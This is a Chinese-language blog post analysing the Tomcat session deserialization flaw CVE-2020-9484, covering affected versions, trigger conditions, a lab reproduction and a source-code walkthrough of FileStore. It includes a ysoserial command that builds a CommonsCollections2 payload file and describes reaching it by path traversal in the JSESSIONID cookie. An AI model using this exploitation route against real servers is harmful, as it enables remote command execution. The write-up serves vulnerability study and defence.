Automne's Shadow.

Tomcat Session反序列化漏洞CVE-2020-9484分析

2020/07/18 Share

Web

当使用tomcat时,如果使用了tomcat提供的session持久化功能,如果存在文件上传功能,且服务端存在可利用的gadget,那么恶意请求者将可能发起一个恶意请求造成服务端远程命令执行。

漏洞受影响的tomcat版本:

<= 9.0.34

<= 8.5.54

<= 7.0.103

触发条件

该漏洞的触发条件并不是默认配置,较为苛刻:

  1. 服务器PersistenceManager配置中使用了FileStore

  2. tomcat/lib或者WEB-INF/lib等目录下的依赖存在可用的gadget

  3. 存在文件上传功能(传到任意目录都可以,需要知道上传后的目录路径以及文件后缀必须为.session)

漏洞复现

以Tomcat 8.5.50为例,首先在/conf/context.xml里配置Manager节点,代码如下

1
2
3
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="D:\Pentest\SessionTest\" />
</Manager>

automne

在Tomcat加载的class里需要有反序列化的gadget,这里以commons-collections4-4.0.jar为例,并将其放在webapps\ROOT\WEB-INF\lib\目录下。

使用ysoserial工具生成反序列化的payload:

1
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 "calc" > payload.session

将生成的payload.session置于D:\Pentest\目录下,在实际攻击中可以利用上传漏洞来进行。

在tomcat的webapps\ROOT目录下放置sess.jsp,模拟简单的session操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%@ page contentType="text/html; charset=UTF-8" %>
<%
String name = "World";
session.setAttribute("name", name);
String name2 = (String)session.getAttribute("name");
%>
<html>
<body>
<p>
name = <%= name %><br>
name2 = <%= name2 %><br>
<br>
</p>
<p>(sessionID=<%= session.getId() %>)</p>
</body>
</html>

automne

访问该文件路径,Burp抓包并修改Cookie里的JSESSIONID,成功在服务端触发反序列化,弹出计算器。

automne

源码调试

该漏洞的触发原因在于tomcat的org.apache.catalina.session.FileStore,在这里进行了反序列化,且没有过滤输入流,而且代码中使用了getAbsolutePath()获取文件路径,导致可以使用…/进行跨目录,结合可用gadget从而导致反序列化命令执行漏洞。

使用tomcat源码来调试该漏洞。

在org.apache.catalina.session.FileStore文件的load(String id)处打断点

触发上面的请求

automne

往下跟,可以看到这里使用了getAbsolutePath()来获取文件路径,存在跨目录漏洞。

跟到readObjectData

automne

F7跟进

automne

继续跟,可以看到creationTime这些值都是通过readObject函数进行反序列化。

automne

继续走,即可触发反序列化命令执行。

CATALOG
  1. 1. 触发条件
  2. 2. 漏洞复现
  3. 3. 源码调试